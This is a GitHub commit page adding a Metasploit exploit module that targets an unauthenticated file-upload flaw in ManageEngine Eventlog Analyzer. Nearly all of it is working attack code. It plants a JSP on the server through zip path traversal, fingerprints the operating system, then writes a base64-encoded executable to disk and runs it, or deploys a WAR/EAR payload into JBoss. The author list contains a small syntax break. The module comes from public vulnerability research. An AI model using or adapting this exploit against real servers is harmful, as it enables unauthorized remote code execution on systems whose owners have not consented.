Skip to content

Commit 6a370a5

Browse files
author
Pedro Ribeiro
committed
Add exploit for eventlog analyzer file upload
1 parent 9e86582 commit 6a370a5

File tree

1 file changed

+337
-0
lines changed

1 file changed

+337
-0
lines changed
Lines changed: 337 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,337 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
7+
require 'msf/core'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::FileDropper
14+
include Msf::Exploit::EXE
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'ManageEngine Eventlog Analyzer Arbitrary File Upload',
19+
'Description' => %q{
20+
This module exploits a file upload vulnerability in ManageEngine Eventlog Analyzer.
21+
The vulnerability exists in the agentUpload servlet which accepts unauthenticated
22+
file uploads and handles zip file contents in a insecure way. By combining both
23+
weaknesses a remote attacker can achieve remote code execution. This module has been
24+
tested successfully on versions v7.0 - v9.9 b9002 in Windows and Linux. Versions
25+
between 7.0 and < 8.1 are only exploitable via EAR deployment in the JBoss server,
26+
while versions 8.1+ are only exploitable via a JSP upload.
27+
},
28+
'Author' =>
29+
[
30+
'h0ng10' <
31+
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
32+
],
33+
'License' => MSF_LICENSE,
34+
'References' =>
35+
[
36+
[ 'URL', 'https://www.mogwaisecurity.de/advisories/MSA-2014-01.txt' ],
37+
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/86' ]
38+
],
39+
'DefaultOptions' => { 'WfsDelay' => 5 },
40+
'Privileged' => false, # Privileged on Windows but not on Linux targets
41+
'Platform' => %w{ java linux win },
42+
'Targets' =>
43+
[
44+
[ 'Automatic', { } ],
45+
[ 'Eventlog Analyzer v7.0 - v8.0 / Java universal',
46+
{
47+
'Platform' => 'java',
48+
'Arch' => ARCH_JAVA,
49+
'WfsDelay' => 30
50+
}
51+
],
52+
[ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Windows',
53+
{
54+
'Platform' => 'win',
55+
'Arch' => ARCH_X86
56+
}
57+
],
58+
[ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Linux',
59+
{
60+
'Platform' => 'linux',
61+
'Arch' => ARCH_X86
62+
}
63+
]
64+
],
65+
'DefaultTarget' => 0,
66+
'DisclosureDate' => 'Aug 31 2014'))
67+
68+
register_options(
69+
[
70+
Opt::RPORT(8400),
71+
OptInt.new('SLEEP',
72+
[true, 'Seconds to sleep while we wait for EAR deployment (Java target only)', 15]),
73+
], self.class)
74+
end
75+
76+
77+
def get_version
78+
res = send_request_cgi({
79+
'uri' => normalize_uri("event/index3.do"),
80+
'method' => 'GET'
81+
})
82+
83+
if res and res.code == 200
84+
if res.body =~ /ManageEngine EventLog Analyzer ([0-9]{1})/
85+
return $1
86+
end
87+
end
88+
89+
return "0"
90+
end
91+
92+
93+
def check
94+
version = get_version
95+
if version >= "7" and version <= "9"
96+
# version 7 to < 8.1 detection
97+
res = send_request_cgi({
98+
'uri' => normalize_uri("event/agentUpload"),
99+
'method' => 'GET'
100+
})
101+
if res and res.code == 405
102+
return Exploit::CheckCode::Appears
103+
end
104+
105+
# version 8.1+ detection
106+
res = send_request_cgi({
107+
'uri' => normalize_uri("agentUpload"),
108+
'method' => 'GET'
109+
})
110+
if res and res.code == 405 and version == 8
111+
return Exploit::CheckCode::Appears
112+
else
113+
# We can't be sure that it is vulnerable in version 9
114+
return Exploit::CheckCode::Detected
115+
end
116+
117+
else
118+
return Exploit::CheckCode::Safe
119+
end
120+
end
121+
122+
123+
def create_zip_and_upload(payload, target_path, is_payload = true)
124+
# Zipping with CM_STORE to avoid errors decompressing the zip
125+
# in the Java vulnerable application
126+
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
127+
zip.add_file(target_path, payload)
128+
129+
post_data = Rex::MIME::Message.new
130+
post_data.add_part(zip.pack, "application/zip", 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(4))}.zip\"")
131+
132+
data = post_data.to_s
133+
134+
if is_payload
135+
print_status("#{peer} - Uploading payload...")
136+
end
137+
res = send_request_cgi({
138+
'uri' => (@my_target == targets[1] ? normalize_uri("/event/agentUpload") : normalize_uri("agentUpload")),
139+
'method' => 'POST',
140+
'data' => data,
141+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
142+
})
143+
144+
if res and res.code == 200 and res.body.empty?
145+
if is_payload
146+
print_status("#{peer} - Payload uploaded successfully")
147+
end
148+
register_files_for_cleanup(target_path.gsub("../../", "../"))
149+
return true
150+
else
151+
return false
152+
end
153+
end
154+
155+
156+
def pick_target
157+
return target if target.name != 'Automatic'
158+
159+
print_status("#{peer} - Determining target")
160+
161+
version = get_version
162+
163+
if version == "7"
164+
return targets[1]
165+
end
166+
167+
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
168+
jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
169+
target_dir = "../../webapps/event/"
170+
if not create_zip_and_upload(os_finder_payload, target_dir + jsp_name, false)
171+
if version == "8"
172+
# Versions < 8.1 do not have a Java compiler, but can be exploited via the EAR method
173+
return targets[1]
174+
end
175+
return nil
176+
end
177+
178+
res = send_request_cgi({
179+
'uri' => normalize_uri(jsp_name),
180+
'method' => 'GET'
181+
})
182+
183+
if res and res.code == 200
184+
if res.body.to_s =~ /Windows/
185+
return targets[2]
186+
else
187+
# assuming Linux
188+
return targets[3]
189+
end
190+
end
191+
192+
return nil
193+
end
194+
195+
196+
def generate_jsp_payload
197+
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
198+
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
199+
exe = generate_payload_exe(opts)
200+
base64_exe = Rex::Text.encode_base64(exe)
201+
202+
native_payload_name = rand_text_alpha(rand(6)+3)
203+
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
204+
205+
var_raw = rand_text_alpha(rand(8) + 3)
206+
var_ostream = rand_text_alpha(rand(8) + 3)
207+
var_buf = rand_text_alpha(rand(8) + 3)
208+
var_decoder = rand_text_alpha(rand(8) + 3)
209+
var_tmp = rand_text_alpha(rand(8) + 3)
210+
var_path = rand_text_alpha(rand(8) + 3)
211+
var_proc2 = rand_text_alpha(rand(8) + 3)
212+
213+
if @my_target['Platform'] == 'linux'
214+
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
215+
chmod = %Q|
216+
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
217+
Thread.sleep(200);
218+
|
219+
220+
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
221+
cleanup = %Q|
222+
Thread.sleep(200);
223+
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
224+
|
225+
else
226+
chmod = ''
227+
cleanup = ''
228+
end
229+
230+
jsp = %Q|
231+
<%@page import="java.io.*"%>
232+
<%@page import="sun.misc.BASE64Decoder"%>
233+
<%
234+
try {
235+
String #{var_buf} = "#{base64_exe}";
236+
BASE64Decoder #{var_decoder} = new BASE64Decoder();
237+
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
238+
239+
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
240+
String #{var_path} = #{var_tmp}.getAbsolutePath();
241+
242+
BufferedOutputStream #{var_ostream} =
243+
new BufferedOutputStream(new FileOutputStream(#{var_path}));
244+
#{var_ostream}.write(#{var_raw});
245+
#{var_ostream}.close();
246+
#{chmod}
247+
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
248+
#{cleanup}
249+
} catch (Exception e) {
250+
}
251+
%>
252+
|
253+
254+
jsp = jsp.gsub(/\n/, '')
255+
jsp = jsp.gsub(/\t/, '')
256+
jsp = jsp.gsub(/\x0d\x0a/, "")
257+
jsp = jsp.gsub(/\x0a/, "")
258+
259+
return jsp
260+
end
261+
262+
263+
def exploit_native
264+
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
265+
# Fail if this is the case and ask the user to select an appropriate payload.
266+
if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/
267+
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
268+
end
269+
270+
jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
271+
target_dir = "../../webapps/event/"
272+
273+
jsp_payload = generate_jsp_payload
274+
if not create_zip_and_upload(jsp_payload, target_dir + jsp_name)
275+
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
276+
end
277+
278+
return jsp_name
279+
end
280+
281+
282+
def exploit_java
283+
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
284+
# Fail if this is the case and ask the user to select an appropriate payload.
285+
if @my_target['Platform'] == 'java' and not payload_instance.name =~ /Java/
286+
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Java target.")
287+
end
288+
289+
target_dir = "../../server/default/deploy/"
290+
291+
# First we generate the WAR with the payload...
292+
war_app_base = rand_text_alphanumeric(4 + rand(32 - 4))
293+
war_payload = payload.encoded_war({ :app_name => war_app_base })
294+
295+
# ... and then we create an EAR file that will contain it.
296+
ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4))
297+
app_xml = %Q{<?xml version="1.0" encoding="UTF-8"?><application><display-name>#{rand_text_alphanumeric(4 + rand(32 - 4))}</display-name><module><web><web-uri>#{war_app_base + ".war"}</web-uri><context-root>/#{ear_app_base}</context-root></web></module></application>}
298+
299+
# Zipping with CM_STORE to avoid errors while decompressing the zip
300+
# in the Java vulnerable application
301+
ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
302+
ear_file.add_file(war_app_base + ".war", war_payload.to_s)
303+
ear_file.add_file("META-INF/application.xml", app_xml)
304+
ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + ".ear"
305+
306+
if not create_zip_and_upload(ear_file.pack, target_dir + ear_file_name)
307+
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
308+
end
309+
310+
print_status("#{peer} - Waiting " + datastore['SLEEP'].to_s + " seconds for EAR deployment...")
311+
sleep(datastore['SLEEP'])
312+
return normalize_uri(ear_app_base, war_app_base, rand_text_alphanumeric(4 + rand(32 - 4)))
313+
end
314+
315+
316+
def exploit
317+
@my_target = pick_target
318+
if @my_target.nil?
319+
print_error("#{peer} - Unable to select a target, we must bail.")
320+
return
321+
else
322+
print_status("#{peer} - Selected target #{@my_target.name}")
323+
end
324+
325+
if @my_target == targets[1]
326+
exploit_path = exploit_java
327+
else
328+
exploit_path = exploit_native
329+
end
330+
331+
print_status("#{peer} - Executing payload...")
332+
send_request_cgi({
333+
'uri' => normalize_uri(exploit_path),
334+
'method' => 'GET'
335+
})
336+
end
337+
end

0 commit comments

Comments
 (0)